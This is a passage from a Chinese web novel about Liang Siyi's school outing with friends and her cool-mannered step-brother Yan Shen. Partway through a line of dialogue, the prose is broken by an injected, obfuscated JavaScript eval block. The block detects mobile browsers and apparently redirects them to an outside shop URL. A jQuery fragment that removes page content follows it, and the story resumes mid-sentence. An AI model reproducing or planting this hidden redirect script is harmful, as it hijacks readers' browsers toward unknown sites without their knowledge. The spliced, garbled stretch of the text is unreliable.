梁思意说好,又问他:“下周可以吗,到时候如果你还想去,我可以陪你。”
“再说吧。”
林西津挂掉了电话,梁思意的心在摇摆,这段时间她和林西津的时间总是凑不上,一直也没怎么见面。
向葵冲她招手:“思意!要检票啦。”
梁思意走过去,有些犹豫:“我……”
徐衡一边把票递给检票人员一边说:“我们速度快一点,下山还能赶得及在附近吃顿农家乐,那边的菜味道还不错。”
梁思意停在检票口前,对上徐衡兴奋的目光,实在说不出拒绝的话。
“嘀”的一声。
阎慎从她身后探出手先刷了身份证,擦肩而过时,他低声说:“你如果不想去,现在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968372|192483||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还可以回去。”
梁思意一怔,对上他的视线。
他眸光淡淡的,神情一如既往地平静,似乎并不在意她的去留。
梁思意有种被看穿的不适,但犹豫再三,还是伸手刷了身份证。
毕竟以后和林西津见面的机会还有很多,她也不想在今天当一个扫兴的人。
和阎慎并肩走着的时候,梁思意嘴硬地解释道:“我没有不想去。”
阎慎没有看她,冷声说:“跟我没关系。”
梁思意不说话了。
从平城到陆城的景区,将近两个小时的车程。
梁思意和向葵从上车聊到下车,徐衡被她们吵得堵耳朵:“幸亏你们不是高一就认识,不然我现在该戴助听器了。”
向葵直接给了他一巴掌:“我现在就可以打得你戴助听器。”
“女侠!饶命。”徐衡拽着阎慎,“快跑,离暴力狂远点。”
“徐衡!你个狗东西!你给我站住。”向葵也拉着梁思意往前跑,“你今天死定了!”
“我哪天不是死定了!”
梁思意跟着跑了几步,已经开始喘气,向葵追到徐衡,松开她的手,她感觉嗓子眼都有些发干。
何文兰装的水和点心都在书包里,有先前那一出,梁思意不知道怎么跟阎慎开口。
她轻咳了一声,试图引起注意。
阎慎低头看手机,也不知道手机有什么好玩的,梁思意靠近了,才发现他竟然在刷一个学习视频。
“你是不是有点可怕了?”梁思意不理解也不尊重,“你能有点出来玩的态度吗?”
“……”阎慎解释,“只是刚好刷到这个视频。”
梁思意不太相信。
阎慎也不多说什么,收起手机问:“喝水吗?”
梁思意点头。
阎慎从包里拿出一瓶水,拧开了递给她。
梁思意有些意外,但又觉得在情理之中,抛开别的不说,阎慎其实是个挺好的人。
她低声说谢谢,仰头喝了一口水,看向在一旁打闹的向葵和徐衡,又看了眼站在一旁的阎慎。
过去她和阎慎虽然没有像他们一样拥有青梅竹马般的情谊,但也有过融洽和谐的时刻。
在那些同住一屋檐下的岁月里,他们交换过不算秘密的困扰,分享过喜悦的瞬间。
虽然不比林西津亲近,但如果没有成为一家人,成为名义上的兄妹,他们或许会成为长久的朋友。
不会像现在这样,沉默总是占据他们相处的许多时刻。
这种并不对等的关系交换,让梁思意第一次尝到些许命运弄人的苦涩。